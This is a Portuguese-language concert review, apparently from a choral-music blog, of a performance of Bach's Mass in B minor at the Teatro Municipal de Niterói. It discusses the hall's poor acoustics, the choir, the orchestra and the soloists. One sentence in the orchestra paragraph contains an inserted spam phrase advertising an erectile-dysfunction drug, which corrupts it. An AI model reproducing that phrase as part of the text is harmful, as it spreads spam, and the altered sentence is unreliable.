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Municipal de Niterói lotado para a Missa em si menor, de Bach

p>Dia 12.05, a Cia Bachiana Brasileira, com coro e orquestra, apresentou a Missa em si menor de J. S. Bach, no Teatro Municipal de Niterói.

Bom, em primeiro lugar, queria tecer um comentário sobre o local. Este teatro não é adequado para música, especialmente coral. No máximo, música de câmara, com os intérpretes bem perto da boca do palco. Já cantei várias vezes ali e posso garantir isso sem medo de errar. Em uma apresentação do nosso coral, tivemos que colocar o piano de um lado do palco e o coro do outro lado, meio enviesado, para podermos ficar perto da boca e não vermos nossas vozes se perderem nos fundos do palco.

Quem vê apresentações de música coral-sinfônica no Teatro Municipal do RJ, percebe que existe um tapume de madeira em toda a volta dos executantes. No teto, placas horizontais, um pouco inclinadas, remetem o som em direção ao público. Na Sala Cecília Meireles, há também estas placas por cima do palco e ela mesma já é totalmente fechada nas laterais. Isso faz com que o som seja projetado para a frente e não se perca nos bastidores.

No Teatro Municipal de Niterói não há nada disso. As laterais são abertas e a parte de cima idem. Como consequência, como o coral tem que estar atrás da orquestra, acaba ficando no fundo do palco e as vozes se dispersam quase completamente.

Eu estava na plateia, mais ou menos no meio e, obviamente, deu para perceber que o coral foi amplamente prejudicado em sua performance por causa disso. Mesmo assim, na segunda parte, em alguns momentos conseguiu um volume melhor do que na 1ª. parte. Acredito, entretanto, que não foi só isso. Tive

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a impressão muito forte do coral estar muito controlado. Não sei se pelo maestro ou pelas circunstâncias prejudiciais do local. Talvez tenham sentido isso nos ensaios. O início do Gloria foi significativo: a orquestra entrou com força, o maestro fez o gestual adequado de força, mas a força do coral não compareceu.

Os tenores, pareciam estar falando e não cantando. Mesmo nos momentos em que tinham a linha melódica as vozes não apareciam. Os baixos ainda se esforçaram, mas também não conseguiram vencer a péssima acústica. Sopranos e contraltos foram bem, dentro das circunstâncias totalmente desfavoráveis. Fiquei, porém, com a sensação de que o coro estava muito controlado. O coral deve cantar mais solto, mais amadoristicamente neste sentido, vibrar mais…, mas há que reconhecer que talvez essa fosse a maneira de não deixar que o coral de perdesse, com a impossibilidade de se ouvirem uns aos outros plenamente, como seria de se desejar.

A orquestra esteve bem, mas achei que houve alguns escorregões de algum instrumento. Mesmo assim, é uma obra muito grande e difícil e isso não comprometeu o cialis last longer in bed todo. O maestro conduziu o espetáculo com técnica perfeita, dentro do estilo da obra, com exceção, como já disse, que achei o coro controlado demais.

Marianna Lima, Michele Menezes e Michele Ramos estiveram bem sem problemas e ainda participaram do coral. Já Marcelo Coutinho e Geilson Santos tiveram intervenções abaixo do que podem na primeira parte. Na segunda, ambos melhoraram muito.

Quase paradoxalmente, numa obra predominantemente coral, o coral não foi a figura de proa. Esta foi, sem sombra de dúvida, Carolina Faria. Paz e tranquilidade são palavras que descrevem bem a performance dela. Pairou acima dos demais, assim como a voz pairou sobre a plateia, suave e sem nenhum esforço. No início do Agnus Dei, me arrepiei.

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Antônio Rodrigues
Apaixonado por música coral, é um dos fundadores e mantenedor do movimento.com.